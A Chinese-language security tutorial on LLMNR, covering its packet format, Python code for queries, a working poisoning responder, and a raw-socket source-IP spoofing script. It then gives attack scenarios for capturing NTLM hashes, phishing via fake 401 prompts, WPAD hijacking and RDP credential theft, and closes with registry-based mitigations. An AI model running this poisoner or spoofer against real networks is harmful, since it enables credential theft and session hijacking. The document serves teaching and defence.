利用 LLMNR 名称解析缺陷劫持内网指定主机会话
字数 1765 2025-08-29 08:31:53
LLMNR协议分析与攻击利用技术详解
0x00 LLMNR简介
LLMNR(Link-Local Multicast Name Resolution)是Windows Vista及后续版本操作系统支持的一种名称解析协议,主要用于局域网中的名称解析。关键特性包括:
- 支持IPv4和IPv6协议
- 在Windows名称解析顺序中仅次于DNS
- Linux操作系统也已实现LLMNR支持
- 使用UDP协议,监听5355端口
- IPv4广播地址:224.0.0.252
- IPv6广播地址:FF02:0:0:0:0:0:1:3或FF02::1:3
0x01 LLMNR协议分析
LLMNR协议结构(RFC 4795定义)及各字段说明:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ID |QR| OPCODE |C|TC|T|Z|Z|Z| RCODE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| QDCOUNT | ANCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| NSCOUNT | ARCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
字段说明:
- ID:16位事务ID,随机生成用于标识质询与应答
- QR:0表示查询,1表示响应
- OPCODE:4位字段,指定查询类型(标准查询和响应值为0)
- C:冲突位
- TC:截断位
- T:暂定,无标志
- Z:保留位
- RCODE:响应码
- QDCOUNT:16位无符号整数,指定质询部分的条目数量
- ANCOUNT:16位无符号整数,指定应答部分的资源记录数量
- NSCOUNT:16位无符号整数,指定权威记录部分的名称服务器资源记录数量
- ARCOUNT:16位无符号整数,指定附加记录部分的资源记录数量
0x02 LLMNR名称解析过程
完整正常的LLMNR名称解析过程(假设主机B已加入组播组):
- 主机A向IPv4广播地址224.0.0.252或IPv6广播地址FF02::1:3发送LLMNR查询
- 组播组内所有主机(包括主机B)接收查询
- 主机B识别查询的是自己的主机名,向主机A单播应答
- 主机A收到应答,完成名称解析
关键点:
- 使用UDP协议传输
- 查询类型通过"A"或"AAAA"区分(A=IPv4,AAAA=IPv6)
- 应答包的事务ID(TID)与查询包一致
0x03 LLMNR编程实现
质询实现(Python示例)
import socket, struct
class LLMNR_Query:
def __init__(self,name):
self.name = name
self.IsIPv4 = True
self.populate()
def populate(self):
self.HOST = '224.0.0.252' if self.IsIPv4 else 'FF02::1:3'
self.PORT = 5355
self.s_family = socket.AF_INET if self.IsIPv4 else socket.AF_INET6
self.QueryType = "IPv4"
self.lqs = socket.socket(self.s_family, socket.SOCK_DGRAM)
self.QueryData = (
"\xa9\xfb" # Transaction ID
"\x00\x00" # Flags Query(0x0000)? or Response(0x8000)?
"\x00\x01" # Question
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"LENGTH" # length of Name
"NAME" # Name
"\x00" # NameNull
"TYPE" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01") # Class
namelen = len(self.name)
self.data = self.QueryData.replace('LENGTH', struct.pack('>B', namelen))
self.data = self.data.replace('NAME', struct.pack(">"+str(namelen)+"s", self.name))
self.data = self.data.replace("TYPE", "\x00\x01" if self.QueryType == "IPv4" else "\x00\x1c")
def Query(self):
print "LLMNR Querying... -> %s" % self.name
self.lqs.sendto(self.data, (self.HOST, self.PORT))
self.lqs.close()
应答实现(Python示例)
import socket, struct
class LLMNR_Answer:
def __init__(self, addr):
self.IPADDR = addr
self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.init_socket()
self.populate()
def populate(self):
self.AnswerData = (
"TID" # Tid
"\x80\x00" # Flags Query(0x0000)? or Response(0x8000)?
"\x00\x01" # Question
"\x00\x01" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"LENGTH" # Question Name Length
"NAME" # Question Name
"\x00" # Question Name Null
"\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01" # Class
"LENGTH" # Answer Name Length
"NAME" # Answer Name
"\x00" # Answer Name Null
"\x00\x01" # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01" # Class
"\x00\x00\x00\x1e" # TTL Default:30s
"\x00\x04" # IP Length
"IPADDR") # IP Address
def init_socket(self):
self.HOST = "0.0.0.0"
self.PORT = 5355
self.MulADDR = "224.0.0.252"
self.las.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP,
socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
def Answser(self):
self.las.bind((self.HOST, self.PORT))
print "Listening..."
while True:
data, addr = self.las.recvfrom(1024)
tid = data[0:2]
namelen = struct.unpack('>B', data[12])[0]
name = data[13:13 + namelen]
data = self.AnswerData.replace('TID', tid)
data = data.replace('LENGTH', struct.pack('>B', namelen))
data = data.replace('NAME', name)
data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], name)
self.las.sendto(data, addr)
0x04 LLMNR Poison攻击原理
攻击原理:
- 攻击者加入LLMNR组播组
- 当有主机发起LLMNR名称解析查询时
- 攻击者抢先对查询进行恶意应答
- 受害者主机接受攻击者的应答,将流量导向攻击者指定IP
关键缺陷:
- LLMNR使用无连接的UDP协议
- 无论请求的主机名是否存在,都会进行LLMNR解析
- 默认情况下Windows系统启用LLMNR
0x05 伪造源IP+LLMNR Poison攻击
利用UDP无连接特性伪造源IP进行攻击:
- 攻击者伪造受害者IP向广播地址发送LLMNR查询
- 攻击者自己对该查询进行应答
- 受害者主机会将指定主机名的访问重定向到攻击者指定IP
伪造UDP源IP示例代码:
import socket, time
from impacket import ImpactDecoder, ImpactPacket
def UDPSpoof(src_ip, src_port, dst_ip, dst_port, data):
ip = ImpactPacket.IP()
ip.set_ip_src(src_ip)
ip.set_ip_dst(dst_ip)
udp = ImpactPacket.UDP()
udp.set_uh_sport(src_port)
udp.set_uh_dport(dst_port)
udp.contains(ImpactPacket.Data(data))
ip.contains(udp)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.sendto(ip.get_packet(), (dst_ip, dst_port))
if __name__ == "__main__":
QueryData = (
"\xa9\xfb" # Transaction ID
"\x00\x00" # Flags
"\x00\x01" # Question
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x09" # length of Name
"Her0in-PC" # Name
"\x00" # NameNull
"\x00\x01" # Query Type
"\x00\x01") # Class
ip_src = "192.168.169.1"
ip_dst = "224.0.0.252"
while True:
print("UDP Source IP Spoof %s => %s for Her0in-PC" % (ip_src, ip_dst))
UDPSpoof(ip_src, 18743, ip_dst, 5355, QueryData)
time.sleep(3)
攻击效果:
- 受害者访问任何使用主机名的服务都会被重定向
- 可劫持SMB、HTTP、RDP等各种服务会话
0x06 LLMNR Poison实战攻击思路
1. 劫持会话获取HASH
SMB会话劫持:
- 当主机使用计算机名访问共享时
- 攻击者可获取发起请求主机的NTLMv2 HASH
- 可用于离线爆破(无法直接用于Pass-the-Hash)
HTTP 401认证获取HASH:
- 通过嵌入恶意标签触发LLMNR请求:
或 - 受害者访问网页后会自动发起LLMNR请求
- 攻击者获取HTTP 401认证的HASH
2. 劫持会话进行钓鱼
- 设置伪造的HTTP 401认证服务器
- 诱导用户输入凭据
- 获取明文用户名和密码
3. 劫持WPAD获取上网记录
攻击步骤:
- 利用LLMNR Poison劫持WPAD名称解析
- 修改受害者主机的浏览器代理设置
- 通过攻击者的代理服务器:
- 查看受害者上网记录
- 注入恶意脚本
- 通过Windows更新分发恶意软件
4. "剑走偏锋"获取服务器密码
攻击场景:
- 管理员通过RDP连接内网服务器
- 攻击者利用LLMNR Poison劫持3389会话
- 将RDP连接重定向到攻击者控制的服务器
- 记录管理员输入的凭据
0x07 防御措施
关闭LLMNR的注册表设置:
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f
其他防御建议:
- 在网络设备上阻止LLMNR流量(UDP 5355)
- 使用主机防火墙限制组播流量
- 确保所有主机都有正确的DNS记录,减少LLMNR使用
- 教育用户不要使用主机名访问重要资源